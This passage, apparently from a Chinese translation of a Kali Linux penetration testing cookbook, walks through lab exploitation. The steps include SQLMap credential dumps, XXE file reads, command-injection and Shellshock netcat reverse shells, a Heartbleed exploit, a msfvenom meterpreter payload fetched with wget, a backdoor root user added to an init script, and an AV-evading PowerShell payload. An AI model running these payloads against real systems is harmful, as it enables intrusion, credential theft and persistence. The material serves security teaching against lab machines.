如前一个教程所示,利用 SQLi 可能是一个繁琐的过程。SQLMap 是 Kali Linux 中包含的一个命令行工具,可以帮助我们自动化检测并利用 SQL 注入,支持多种技术并适用于各种数据库。

在这个教程中,我们将使用 SQLMap 检测并利用 SQL 注入(SQLi)漏洞,以获取应用程序的用户名和密码。

如何操作…

浏览到http://192.168.56.11/mutillidae并访问 OWASP Top 10 | A1 – SQL 注入 | SQLi 提取数据 | 用户信息:

  1. 尝试任何用户名和密码,例如userpassword,然后点击查看账户详情。

  2. 登录会失败,但我们关注的是网址。前往地址栏并将完整网址复制到剪贴板。网址应类似于http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details

  3. 现在,在终端窗口中输入以下命令:

sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db --is-dba

你可以看到-u参数的值是复制的 URL。通过-p,我们告诉 SQLMap 我们想在用户名参数中查找 SQLi,并且在漏洞被利用后,我们希望它能检索当前数据库用户名和数据库名称,并了解该用户是否具有数据库中的管理员权限。检索这些信息是因为我们只想知道是否在该 URL 的username参数中存在 SQLi。以下截图展示了命令以及 SQLMap 执行的指示:

  1. 一旦 SQLMap 检测到应用程序使用的 DBMS,它还会询问我们是否要跳过对其他 DBMS 的测试,是否要包括所有针对已检测系统的测试,即使这些测试超出了当前配置的级别和风险范围。在这种情况下,我们回答Yes跳过其他系统,并回答No包含所有测试。

  2. 一旦我们指定的参数被发现存在漏洞,SQLMap 会询问我们是否要测试其他参数。我们对这个问题回答No,然后我们将看到结果:

  1. 如果我们想获取用户名和密码,像前面那样做,我们需要知道包含这些信息的表名。在终端中执行以下命令:
sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables

SQLMap 会保存它执行的注入日志,因此第二次攻击比第一次所需的时间要少。正如你所见,攻击返回了我们指定的数据库中的表列表:

  1. 表格 accounts 看起来包含我们需要的信息。让我们导出它的内容:
sqlmap -u "http://192.168.56.11/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump

我们现在得到了完整的用户表,可以看到在这种情况下密码没有加密,因此我们可以直接使用它们:

  1. SQLMap 还可以用于提升数据库和操作系统的权限。例如,如果数据库用户是管理员(如这里的情况),我们可以使用--users--passwords选项提取所有数据库用户的名称和密码哈希值,如下所示的屏幕截图所示:

通常,这些也是操作系统用户,允许我们提升权限至操作系统或其他网络主机。

  1. 我们还可以得到一个外壳,使我们能够直接向数据库发送 SQL 查询,如下所示:

它是如何工作的...

SQLMap 会对给定 URL 和数据中的所有输入进行模糊测试,或者仅对 -p 选项中指定的输入进行模糊测试,使用 SQLi 字符串并解析响应来发现是否存在漏洞。最好不要对所有输入进行模糊测试;更好的做法是使用 SQLMap 利用我们已经知道存在的注入漏洞,并尽量通过提供所有可用信息(如脆弱参数、数据库管理系统类型等)来缩小搜索范围;打开所有可能性去寻找注入漏洞可能会花费大量时间,并且在网络中产生非常可疑的流量。

在这个示例中,我们已经知道用户名参数对 SQLi 漏洞是脆弱的(因为我们使用了 mutillidae 中的 SQLi 测试页面)。在第一次攻击中,我们只想确认这里是否存在注入漏洞,并请求一些非常基本的信息:用户名(--curent-user)、数据库名(--current-db)以及用户是否是管理员(--is-dba)。

在第二次攻击中,我们通过 -D 选项指定了我们希望查询的数据库以及从先前攻击中获得的名称,并通过 --tables 请求列出它包含的所有表。知道了我们想获取的表(-T accounts),我们告诉 SQLMap 使用 --dump 转储其内容。

由于查询数据库的用户是 DBA,这允许我们请求数据库中其他用户的信息,SQLMap 通过 --users--passwords 选项让我们的工作变得更加轻松。这些选项请求用户名和密码,因为所有的数据库管理系统都以加密方式存储用户的密码,而我们得到的只是哈希值,所以我们仍然需要使用密码破解工具来破解它们。如果你在 SQLMap 提示进行字典攻击时选择了 Yes,你现在可能已经知道某些用户的密码了。

我们还使用了 --sql-shell 选项来获取一个可以用来发送 SQL 查询到数据库的 shell。当然,这不是一个真正的 shell,只是 SQLMap 通过 SQLi 发送我们写的命令并返回查询结果。

还有更多…

SQLMap 还可以在 POST 请求中注入输入变量。为此,我们只需要添加 --data 选项,后面跟上引号中的 POST 数据,例如:--data “username=test&password=test”

有时,为了访问应用程序中的敏感 URL,我们需要在应用程序中进行身份验证。如果发生这种情况,我们可以通过 --cookie 选项将有效会话的 cookie 传递给 SQLMap:--cookie “PHPSESSID=ckleiuvrv60fs012hlj72eeh37”。这对于测试 cookie 值中的注入也非常有用。

这个工具的另一个有趣功能是,除了它可以为我们提供一个 SQL shell,让我们可以发出 SQL 查询外,更有趣的是,我们还可以通过 --os-shell 获得数据库服务器上的命令执行权限(当注入 Microsoft SQL Server 时特别有用)。要查看 SQLMap 所有的选项和功能,可以运行 sqlmap --help

另见

Kali Linux 包含其他能够检测和利用 SQLi 漏洞的工具,可以在使用 SQLMap 时替代或与之结合使用:

  • sqlninja:一款非常流行的工具,专门用于 MS SQL Server 的利用。

  • Bbqsql:一个用 Python 编写的盲 SQLi 框架。

  • jsql:一款基于 Java 的工具,具有完全自动化的 GUI;我们只需输入 URL 并点击一个按钮。

  • Metasploit:包括多个用于不同 DBMS 的 SQLi 模块。

利用 XML 外部实体注入

XML 是一种主要用于描述文档或数据结构的格式;例如,HTML 就是 XML 的一种应用。

XML 实体类似于在 XML 结构中定义的数据结构,其中一些实体能够读取系统中的文件,甚至执行命令。

在本食谱中,我们将利用 XML 外部实体XEE)注入漏洞,从服务器读取文件并远程执行代码。

准备就绪

我们建议在进行此操作之前,先阅读 滥用文件包含和上传 这篇食谱。

如何实现...

请参阅以下步骤:

  1. 浏览到 http://192.168.56.11/mutillidae/index.php?page=xml-validator.php

  2. 它说它是一个 XML 校验器。我们来试试提交示例测试,看看会发生什么。在 XML 框中输入 <somexml><message>Hello World</message></somexml>,然后点击“验证 XML”。它应该只显示 Hello World 消息在解析部分:

  1. 现在,让我们来看一下它是否正确处理实体。请输入以下内容:
<!DOCTYPE person [
 <!ELEMENT person ANY>
 <!ENTITY person "Mr Bob">
 ]>
 <somexml><message>Hello World &person;</message></somexml>

在这里,我们仅定义了一个实体,并将值 Mr Bob 设置给它。解析器解释实体并在显示结果时替换其值:

  1. 这就是内部实体的使用。让我们试试外部实体:
<!DOCTYPE fileEntity [
 <!ELEMENT fileEntity ANY>
 <!ENTITY fileEntity SYSTEM "file:///etc/passwd">
 ]>
 <somexml><message>Hello World &fileEntity;</message></somexml>

在结果中,我们可以看到注入返回了文件的内容:

使用此技术,我们可以提取系统中任何可由 Web 服务器运行的用户读取的文件。

  1. 我们还可以使用 XEE 来加载网页。在 滥用文件包含 中,我们成功地将 Webshell 上传到服务器。我们来尝试访问它:
<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/webshell.php?cmd=/sbin/ifconfig"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>

这样会导致页面包含并执行服务器端代码,并返回命令的结果:

它是如何工作的...

XML 提供了定义实体的可能性。在 XML 中,实体是一个与其关联的值的名称。每当实体在文档中被使用时,在处理 XML 文件时它会被其值替换。利用这一点以及可用的不同包装器(如 file:// 加载系统文件,或 http:// 加载 URL),我们可以滥用那些没有适当安全措施(如输入验证和 XML 解析器配置)的实现,从而提取敏感数据,甚至在服务器上执行命令。

在本教程中,我们使用了file://包装器来让解析器从服务器加载任意文件,之后,通过http://包装器调用了一个恰好是同一服务器中的webshell的网页,并利用它执行了系统命令。

还有更多...

通过此漏洞,还可以进行拒绝服务DoS)攻击,这种攻击被称为十亿次笑声。你可以在维基百科上了解更多信息:en.wikipedia.org/wiki/Billion_laughs

PHP 支持的 XML 实体也有不同的包装器(如file://http://),如果在服务器上启用,可能允许执行命令而无需上传文件。它的格式是://。你可以在这里找到更多关于此和其他包装器的信息:www.php.net/manual/en/wrappers.php

另请参见

若想查看一些世界上最受欢迎网站上发现的 XEE 漏洞的精彩实例,浏览一下www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution。或者,查看一个更新的实例,了解如何利用 Oracle Peoplesoft: www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce

检测并利用命令注入漏洞

我们之前已经看到,PHP 的system()可以用来在服务器上执行操作系统命令;有时,开发人员使用类似的指令或其他具有相同功能的指令来执行某些任务。有时,他们会使用未经验证的用户输入作为执行命令的参数。

在本教程中,我们将利用命令注入漏洞并从服务器中提取重要信息。

如何操作...

登录到 DVWA 并进入命令执行:

  1. 我们将看到一个免费的 Ping 表单。让我们试试吧!Ping 192.168.56.10(我们 Kali Linux 机器的 IP):

该输出看起来像是直接从 ping 命令的输出中提取的。这表明服务器可能在使用操作系统命令来执行 ping,因此可能存在注入操作系统命令的可能性。

  1. 让我们尝试注入一个非常简单的命令。提交以下代码,192.168.56.10;uname -a

我们可以看到uname命令的输出紧跟在 ping 的输出之后。这里存在一个命令注入漏洞。

  1. 如果没有 IP 地址,试试;uname -a。结果如下图所示:

  1. 现在,我们将获得服务器上的反向 Shell。首先,我们必须确保服务器上有我们需要的所有工具。提交;ls /bin/nc*。它应该返回一个带有完整路径的文件列表:

所以,我们有多个版本的 NetCat,这是我们将用来生成连接的工具。OpenBSD 版本的 NetCat 不支持在连接时执行命令,因此我们将使用传统版本。

  1. 下一步是在我们的 Kali 机器上监听一个连接;打开一个终端并运行以下命令:
nc -lp 1691 -v
  1. 然后,在浏览器中提交以下内容:;nc.traditional -e /bin/bash 192.168.56.10 1691 &

  2. 我们将看到在监听的 Kali 终端中如何接收连接。在那里,我们可以像以下示例一样在服务器上执行命令:

我们的终端会对连接做出响应。现在,我们可以发出非交互式命令并检查其输出。

它是如何工作的...

与 SQLi 等其他情况一样,命令注入漏洞是由于输入验证机制不当,并且使用用户提供的数据来构建字符串,这些字符串稍后会作为命令传递给操作系统。如果我们查看刚才攻击的页面的源代码(每个 DVWA 页面右下角都有一个按钮),它将看起来像这样:

<?php
if( isset( $_POST[ 'submit' ] ) ) 
{
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) 
    {
        $cmd = shell_exec( 'ping ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } 
    else 
    {
        $cmd = shell_exec( 'ping -c 3 ' .$target );
        echo '<pre>'.$cmd.'</pre>';
    }
}
?>

我们可以直接看到它将用户的输入附加到 ping 命令中。我们所做的只是添加了一个分号,系统的 shell 将其解释为命令分隔符,接下来是我们想要执行的命令。

在成功执行命令后,下一步是验证服务器是否安装了 NetCat,这是一个能够建立网络连接并且在建立新连接时执行命令的工具。我们发现服务器的系统有两个不同版本的 NetCat,并执行了我们知道支持所需功能的那个版本。

然后,我们将攻击系统设置为监听 1691 端口的连接(它可以是任何其他可用的 TCP 端口),之后,我们指示服务器通过该端口连接到我们的机器,并在连接建立时执行 /bin/bash(一个系统 shell)。通过该连接发送的任何内容都将作为输入被服务器中的 shell 接收。命令末尾的 & 用于在后台执行该命令,并防止 PHP 脚本执行因等待命令响应而中断。

第七章:利用平台漏洞

在本章中,我们将涵盖:

  • 使用 Exploit-DB 利用 Heartbleed 漏洞

  • 利用 Shellshock 执行命令

  • 使用 Metasploit 创建和捕获反向 Shell

  • Linux 系统中的权限提升

  • Windows 系统中的权限提升

  • 使用 Tomcat Manager 执行代码

  • 使用 John the Ripper 通过字典破解密码哈希

  • 使用 Hashcat 通过暴力破解密码哈希

引言

有时我们会发现服务器存在操作系统中的漏洞、Web 应用使用的库漏洞,或者活跃服务中的漏洞,或者可能还有其他无法通过浏览器或 Web 代理进行利用的安全问题。

如果项目范围允许,并且不会对服务器造成干扰,我们可以尝试利用这些漏洞并获得目标应用程序底层操作系统的访问权限。

在本章中,我们将从已经发现网站服务器或操作系统存在漏洞的地方开始,然后我们将寻找该漏洞的利用方式,并将其针对目标执行,一旦漏洞利用成功,我们将构建路径以获得管理员访问权限,并能够在网络中横向移动。

使用 Exploit-DB 利用 Heartbleed 漏洞

Heartbleed 是 2014 年在 OpenSSL 库中发现的一个漏洞。它允许攻击者从服务器读取内存的部分内容;这些部分可能包含客户端与服务器之间的明文通信。一旦 Heartbleed 漏洞被公开,许多公共利用工具相继曝光。Kali Linux 的创始公司 Offensive Security 也托管了 Exploit-DB 网站(www.exploit-db.com/),这是一个收集开发者公开发布的漏洞利用工具的网站;我们可以在这里找到多种 Heartbleed 漏洞的利用工具。

在本实例中,我们将使用 Kali Linux 中包含的命令,探索 Kali Linux 中本地的 Exploit-DB 副本,找到我们需要的漏洞利用工具,最终使用它来在目标服务器上利用 Heartbleed 漏洞。

准备工作

本实例中,我们将使用 bee-box 易受攻击的虚拟机(sourceforge.net/projects/bwapp/files/bee-box/),因为它使用的 OpenSSL 版本存在一个众所周知的漏洞 Heartbleed(heartbleed.com/),该漏洞影响通过 TLS 协议版本 1.0 和 1.1 进行的加密通信,允许攻击者提取包含未加密信息的服务器内存部分。

如何操作...

易受攻击的 bee-box 虚拟机的 IP 地址是192.168.56.12,漏洞服务运行在8443端口。我们从识别服务器中的漏洞开始:

  1. 我们使用sslscan来检查 bee-box 上的 TCP 端口8443;正如以下截图所示,我们会发现它容易受到 Heartbleed 的攻击:

  1. 通过利用 Heartbleed 漏洞,我们将从服务器中提取信息,然后继续在应用程序中进行一些操作,比如登录 bWAPP(https://192.168.56.12:8443/bwapp/),确保服务器的内存中有一些数据。

  2. 现在,要在 Exploit-DB 的本地副本中查找一个漏洞,打开终端并输入searchsploit heartbleed命令。结果如下所示:

  1. 我们将选择列表中的第一个漏洞利用。为了检查该漏洞的内容并分析如何使用它以及它的功能,我们可以简单地使用cat命令来显示 Python 代码,如下所示:

  1. 根据漏洞利用中的说明,我们应该将服务器地址作为第一个参数运行它,然后使用-p选项来指示我们要测试的端口。因此,攻击命令应该是python /usr/share/exploitdb/platforms/multiple/remote/32764.py 192.168.56.12 -p 8443。下一张截图展示了一个成功攻击的结果,我们成功地获取了一个用户名和密码:

它是如何工作的…

Heartbleed 是 OpenSSL TLS 实现中的缓冲区过度读取漏洞;这意味着可以从内存中读取比应该允许的更多数据。通过利用这个漏洞,攻击者可以以明文形式从 OpenSSL 服务器的内存中读取信息,这意味着我们不需要解密或拦截客户端和服务器之间的任何通信。漏洞利用的方式是滥用服务器和客户端之间交换的心跳消息;这些是客户端发送并由服务器响应的短消息,用于保持会话活动。在一个脆弱的实现中,客户端可以声称发送一个大小为 X 的消息,而实际发送的是更小的字节数(Y)。服务器将响应X字节,从内存中紧邻接收心跳消息存储位置的区域获取差异(X - Y)。这些内存空间通常包含其他客户端之前发送的请求(已经解密)。

一旦我们确定了一个易受攻击的目标,就可以使用searchsploit命令;它是 Kali Linux 上安装的 Exploit-DB 本地副本的接口,搜索漏洞标题和描述中的字符串并显示结果。

一旦我们理解了漏洞利用的工作原理,并确认它是安全的,我们就可以将它用于目标系统并收集结果。在我们的示例中,我们成功地从通过加密通道连接的客户端提取了有效的用户名和密码。

还有更多…

在将漏洞利用程序应用到真实系统之前,监控其效果和影响非常重要。通常,Exploit-DB 中的漏洞是可靠的,尽管它们通常需要一些调整才能在特定情况下工作,但也有一些可能并没有按其声明的方式工作;因此,我们需要在实验室中检查源代码并进行测试,然后再在真实的渗透测试中使用它们。

另见

除了 Exploit-DB,还有其他一些网站可以帮助我们查找目标系统中的已知漏洞和漏洞利用程序:

通过利用 Shellshock 执行命令

Shellshock(也称为 Bashdoor)是一个在 2014 年 9 月发现的 bash shell 漏洞,允许通过存储在环境变量值中的函数执行命令。

Shellshock 对我们这些网络渗透测试人员非常重要,因为开发人员有时会在 PHP 和 CGI 脚本中调用系统命令——尤其是在 CGI 脚本中——如果这些脚本使用了系统环境变量。

在本教程中,我们将利用 bee-box 虚拟机中的 Shellshock 漏洞,在服务器上获得命令执行权限。

如何操作...

通过 HTTP 访问 bee-box(http://192.168.56.12/bWAPP/)并登录,开始进行本次练习:

  1. 在选择你的漏洞:下拉框中,选择 Shellshock 漏洞(CGI),然后点击 Hack:

在文本中,我们看到一个有趣的内容:当前用户:www-data。这可能意味着该页面正在使用系统调用来获取用户名。它还给了我们一个提示,可以攻击 referer。

  1. 让我们看看后台发生了什么,并使用 Burp Suite 记录请求并重新加载页面。如果我们查看代理历史记录:

我们可以看到有一个iframe调用了一个 shell 脚本:/cgi-bin/shellshock.sh,这可能是易受 Shellshock 攻击的脚本。

  1. 让我们根据提示,尝试攻击shellshock.sh的 referer。我们首先需要配置 Burp Suite 以拦截服务器响应。在代理选项卡中,进入 Options 并勾选基于以下规则拦截响应的框。

  2. 现在,设置 Burp Suite 为拦截模式,并重新加载shellshock.php

  3. 在 Burp Suite 中,点击 Forward,直到看到GET请求指向/bWAPP/cgi-bin/shellshock.sh。然后,将Referer替换为() { :;}; echo "Vulnerable:",如以下截图所示:

  1. 再次点击 Forward,然后再次在请求.ttf文件时,我们应该能够得到来自shellshock.sh的响应,如下图所示:

响应现在有一个新的头部参数,称为Vulnerable。这是因为它将echo命令的输出集成到了我们提交的 HTML 头部,现在我们可以进一步执行更多有趣的命令。

  1. 现在,尝试执行() { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig")命令。结果显示,命令的输出被包含在响应头中:

  1. 在渗透测试中,能够远程执行服务器上的命令是一个巨大的优势,接下来的自然步骤是获取远程 Shell,即建立一个直接连接,在此连接中我们可以发送更复杂的命令。打开 Kali Linux 中的终端,使用以下命令设置一个监听网络端口:nc -vlp 12345

  2. 现在,进入 Burp Suite 代理的历史记录,选择任何一个请求shellshock.sh,右键点击它,并将其发送到重复器。

  3. 一旦进入重复器,更改Referer的值为:() { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.10 12345")。在这种情况下,192.168.56.10是我们 Kali 机器的地址。

  4. 点击“Go”。如果我们查看终端,可以看到连接已建立;发出一些命令以检查是否已经获得远程 Shell:

它是如何工作的...

在前五个步骤中,我们发现存在对 Shell 脚本的调用,由于该脚本应该由 Shell 解释器运行,它可能是 bash 或一个存在漏洞的 bash 版本。

为了验证这一点,我们执行了以下测试:

() { :;}; echo "Vulnerable:" 

第一部分() { :;};是一个空的函数定义,因为 bash 可以将函数存储为环境变量,而这是漏洞的核心,因为解析器会在函数结束后继续解析(并执行)命令。这使我们能够发出第二部分echo "Vulnerable:",该命令简单地返回并回显它收到的输入。

漏洞发生在 Web 服务器中,因为 CGI 实现将请求的所有部分映射到环境变量,因此即使通过 User-Agent 或 Accept-Language 而不是 Referer 进行攻击,这个漏洞也同样有效。一旦我们确认服务器存在漏洞,就可以发出测试命令ifconfig,并设置一个反向 Shell。

反向 Shell 是一种具有特定特点的远程 Shell,它由服务器发起,使得客户端监听连接,而不是服务器等待客户端连接,像绑定连接那样。

一旦我们获得了服务器的 Shell,我们需要提升权限并获取渗透测试所需的信息。

还有更多...

Shellshock 漏洞影响了全球大量的服务器和设备,且有多种利用方式。例如,Metasploit 框架中包含一个模块,用于设置 DHCP 服务器,将命令注入到连接到它的客户端;这在进行网络渗透测试时非常有用,尤其是当我们有移动设备连接到局域网时(www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env)。

使用 Metasploit 创建并捕获反向 Shell

当我们在服务器上获得命令执行权限时,通常是通过一个受限的 Web Shell。接下来,我们需要做的是找到一种方法,将这个受限的 Shell 升级为完全交互式的 Shell,并最终提升为 root/管理员权限。

在这个教程中,我们将学习如何使用 Metasploit 的 msfvenom 创建一个可执行程序,触发与我们的攻击机连接并生成一个高级 Shell(meterpreter),以便我们进一步利用服务器。

如何做到这一点...

对于这个练习,请确保 Kali 和 bee-box 虚拟机都在运行,然后按照以下步骤操作:

  1. 首先,我们使用 msfvenom 生成我们的反向 meterpreter Shell,并将其设置为连接回 Kali 主机的 IP 地址。打开 Kali 中的终端并输入以下命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4443 -f elf > cute_dolphin.bin

这将创建一个名为 cute_dolphin.bin 的文件,这是一个反向 Linux meterpreter Shell;反向意味着它将连接回攻击机器,而不是等待我们连接。

  1. 接下来,我们需要为即将由我们可爱的海豚创建的连接设置一个监听器。打开一个 msfconsole 终端,加载完成后,输入以下命令:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.10
set lport 4443
run

如你所见,载荷、lhostlport 是我们用来创建 .bin 文件的。这是程序将要连接的 IP 地址和 TCP 端口,因此我们需要在 Kali Linux 的网络接口上监听该端口。最终的漏洞配置应该如下所示:

  1. 现在我们的 Kali 准备好了,是时候准备攻击目标了。以 root 用户启动 Apache 服务并运行以下代码:
service apache2 start
  1. 然后,将恶意文件复制到 Web 服务器文件夹:
cp cute_dolphin.bin /var/www/html/
  1. 接下来,我们开始进行攻击。我们知道 bee-box 存在 Shellshock 漏洞,将利用它让服务器下载恶意文件。使用以下有效载荷在服务器上利用 Shellshock 漏洞:
() { :;}; echo "Vulnerable:" $(/bin/sh -c "/usr/bin/wget http://192.168.56.10/cute_dolphin.bin -O /tmp/cute_dolphin.bin;chmod +x /tmp/cute_dolphin.bin; ls -l /tmp/cute_dolphin.bin")

载荷的最后两部分用于设置下载文件的执行权限(chmod +x /tmp/cute_dolphin.bin)以及确认文件已下载(ls -l /tmp/cute_dolphin.bin)。如以下截图所示,成功利用漏洞将返回文件名及其属性:

  1. 在服务器中存在文件后,我们再次利用 Shellshock 来执行它:() { :;}; echo "Vulnerable:" $(/tmp/cute_dolphin.bin")

  2. 如果一切顺利,我们应该能够在 Metasploit 的监听器中看到一个连接,如下所示:

  1. 一旦会话建立,我们可以使用 help 命令查看 meterpreter 的功能,并开始在受损服务器上运行命令:

它是如何工作的...

msfvenom 帮助我们从 Metasploit 广泛的有效载荷列表中创建有效载荷,并将其集成到多种编程语言的源代码中,或者创建脚本和可执行文件,正如我们在本教程中所做的那样。我们在这里使用的参数是:要使用的有效载荷(linux/x86/meterpreter/reverse_tcp),回连的主机和端口(lhostlport),以及输出格式 (-f elf),将标准输出重定向到文件并保存为 cute_dolphin.bin

Metasploit 的 exploit/multi/handler 模块是一个有效载荷处理程序。这意味着它并不实际执行任何攻击;它仅仅处理与在受损主机上执行的有效载荷的连接。在这种情况下,我们使用它来监听连接,并在连接建立后,它运行了 meterpreter 有效载荷。

Meterpreter 是 Metasploit 版本的超级 Shell。尽管 Linux 上的 meterpreter 比 Windows 版本更有限,后者包含了嗅探受害者网络和执行权限提升与密码提取的模块,但我们仍然可以将其作为一个支点,访问受害者的本地网络,或者通过使用本地和后期利用的 Metasploit 模块进一步攻击主机。

Linux 上的权限提升

对于某些渗透测试项目,获取一个 Web Shell 可能在攻击和展示漏洞影响方面已经足够。在其他情况下,我们可能需要进一步提升在该服务器上的权限,或者利用该权限转向网络中的其他主机。

在这第一篇关于权限提升的教程中,我们将借鉴之前的教程,其中我们上传并执行了一个反向 Shell 到攻击机器,并使用 Kali Linux 中的工具在服务器上获取管理员访问权限。

准备工作

建议在开始本教程之前先完成前两个教程,利用 Shellshock 执行命令使用 Metasploit 创建并捕获反向 Shell,尽管从任何受限的 Shell 在远程服务器上也能实现相同的结果。

如何操作...

我们在一台受损服务器上运行了一个 meterpreter Shell——更具体地说,是在 IP 为 192.168.56.12 的 bee-box 上。我们从找到提升权限的方法开始:

  1. Kali Linux 包含一个名为unix-privesc-check的工具;它检查系统中可能允许我们提升权限的配置漏洞。从 meterpreter shell 中,我们可以使用upload命令将其上传到服务器。在 meterpreter 会话中,输入upload /usr/bin/unix-privesc-check /tmp/命令。

  2. 一旦文件上传完成,打开系统 shell(在 meterpreter 中使用shell命令),并运行脚本/tmp/unix-privesc-check standard。以下截图展示了这一过程:

  1. 脚本会显示一长串结果,但我们关注的是在开头显示WARNING的那一项。以下截图中,我们可以看到有一个脚本(/etc/init.d/bwapp_movie_search),它在启动时由 root 用户运行,并且任何人都可以写入它(World write is set):

  1. 我们将利用这个文件让 root 用户在启动时执行命令。我们会让它创建一个具有管理员权限的用户,这样我们就可以随时通过 SSH 连接到服务器。为了实现这一点,我们需要检查系统中已有的用户组,以便了解哪些具有特权访问权限。在系统 shell 中,运行cat /etc/group|sort -u命令。你会看到一些有趣的组名,比如admadminroot

  2. 由于我们没有完整的 shell,我们无法打开文本编辑器来将命令添加到目标文件中,因此我们需要通过echo命令逐行将它们附加到文件中:

echo "/usr/sbin/useradd hacker -m -s /bin/bash -g admin -G root,adm" >> /etc/init.d/bwapp_movie_search

echo "echo hacker:MyPassword | chpasswd" 
>> /etc/init.d/bwapp_movie_search
  1. 为了验证命令是否正确引入,使用tail。它将显示文件的最后几行:tail /etc/init.d/bwapp_movie_search。在截图中,我们可以看到它应该是什么样子:

  1. 由于该服务器是我们测试实验室的一部分,我们可以直接重启它。在实际场景中,攻击者可能会尝试发动攻击导致服务器重启,或者发动 DoS 攻击迫使管理员重启服务器。

  2. 服务器重启后,使用 Kali Linux 中的 ssh 登录到ssh hacker@192.168.56.12,然后输入你在第 5 步中设置的密码。如果询问是否接受主机证书,输入yes并按Enter

  3. 如果一切顺利,你将能够登录。以下截图显示该用户拥有对所有命令的 root 访问权限,因为他们属于 admin 组(sudo -l),并且可以以 root 用户身份进行身份验证(sudo su):

它是如何工作的……

在这个操作步骤中,我们使用了一个现有的 meterpreter shell 将脚本上传到被攻击的服务器。unix-privesc-check 是一个 shell 脚本,它会自动查找系统中某些配置、特征和参数,这些配置可能允许一个有限权限的用户访问他们无权访问的资源,例如属于其他用户的文件或以更高权限运行的程序。我们使用标准参数运行了 unix-privesc-check,这仅进行了一些基础的测试;也有一个详细选项,它会花费更长时间,但会进行更深入的分析,能为我们提供更多的权限提升选项。

在分析了 unix-privesc-check 的结果后,我们决定修改一个在启动时以高权限运行的脚本,并向其中添加了两个命令。第一个是创建一个属于 adminadmroot 组的用户,另一个是为该用户设置密码。为了将这些命令添加到文件中,我们使用了 echo 命令和输出重定向操作符(>),因为我们受限的 shell 不允许我们打开文本编辑器直接编辑文件。然后我们重启了虚拟机。

在对目标系统进行任何更改之前,请确保这些更改不会中断任何服务,并在进行更改之前备份文件。

当机器重启后,我们通过 SSH 连接到它,使用我们设置的用户进行创建并验证其是否具有 root 权限。最好也将我们添加到 /etc/init.d/bwapp_movie_search 脚本中的行删除,以避免触发进一步的警报。

另请参见

我们决定使用一个在启动时以 root 权限执行的文件修改作为获得管理员访问权限的方式。虽然有其他选项可能不需要攻击者等待服务器重启,但修改启动脚本可能是保持持续访问的一种方法,特别是当这些修改发生在脚本中的不常被管理员和开发人员查看的模糊函数时。

在尝试提升 Unix 系统权限时,以下是一些常见的方面需要注意:

  • SUID 位:当程序或脚本的属性中设置了该位时,该程序将以所有者用户的权限执行,而不是以执行者的权限执行。例如,如果一个可执行文件属于 root 用户(当我们对文件执行 ls -l 时显示的第一个名称为所有者),并且由 www-data 用户执行,系统会将该程序视为由 root 执行。因此,如果我们发现这样一个文件并成功修改它所打开或使用的文件,我们可能能够获得 root 执行权限。

  • PATH 和其他环境变量:当程序调用其他程序或读取系统文件时,它们需要指定其名称和在系统中的位置;有时这些程序只指定名称和相对路径。此外,操作系统在没有指定绝对路径时,具有某些优先级标准——例如,首先在当前文件夹中查找、程序所在位置,或在 PATH 环境变量中指定的路径中查找。这两个条件为攻击者提供了机会,可以在操作系统首先查找的路径中添加一个恶意文件,这个文件与需要的特权程序文件同名,迫使易受攻击的程序处理攻击者的文件内容,而不是合法的文件。

  • 已知漏洞的利用:在实际的组织中,基于 Unix 的系统通常是最不频繁打补丁和更新的。这使得攻击者和渗透测试人员有机会寻找公开可用的漏洞利用工具,从而利用过时软件中的漏洞。

Windows 上的权限提升

根据本作者的经验,基于 Windows 的 Web 服务器在商业环境中具有相当大的市场份额,对于内部 Web 应用程序,它们在典型组织中的占比可能超过 60%,再加上微软 SQL Server 在数据库市场的明显主导地位。这意味着作为渗透测试人员,我们必然会遇到这种情况:成功地在 Windows 服务器上执行命令并需要获得管理员访问权限,以进一步利用网络。

在本教程中,我们将从 Windows 服务器上的一个有限 Web shell 开始,使用公开可用的漏洞利用工具获取系统访问权限,达到 Windows 的最高本地权限级别。

准备工作

在本教程中,我们假设我们已经在 Windows 2008 R2 服务器上获得了一个有限的 shell(github.com/tennc/web-shell/blob/master/fuzzdb-web-shell/asp/cmd.aspx)。我们将使用从微软下载中心下载的 Windows 虚拟机,www.microsoft.com/en-us/download/details.aspx?id=2227。唯一的变化是添加了 Web 服务器管理员角色,并配置其支持 ASP.Net 应用程序。要启用 ASP.Net,在安装 Web 服务器管理员角色后,打开命令终端并运行C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis –i

如何操作...

因此,我们成功地将我们的 Web shell 上传到了一个 Windows Web 服务器。它位于http://192.168.56.14/cmd.aspx。首先要做的是确定 Web 服务器正在运行的权限级别:

  1. 浏览到 Web shell(http://192.168.56.14/cmd.aspx)并运行whoami命令,如下所示:

如你所见,我们的用户是defaultapppool,来自iis apppool组,这是一个在默认配置下权限非常有限的组。

  1. 接下来,我们需要改进发出命令的方法。让我们使用msfvenom创建一个反向 meterpreter shell。我们将使用服务器自身的 PowerShell 在内存中执行我们的有效载荷,而不让它接触目标的硬盘,这样就很难被防病毒软件和其他保护软件检测到。为此,我们的有效载荷应该是 PowerShell 脚本格式(-f psh),并将其直接保存到 Kali 的 Web 根目录(-o /var/www/html/cutedolphin.ps1),如下所示:

  1. 一旦创建了有效载荷,确保 Kali 的 Web 服务器正在运行,以便目标可以下载脚本:service apache2 start

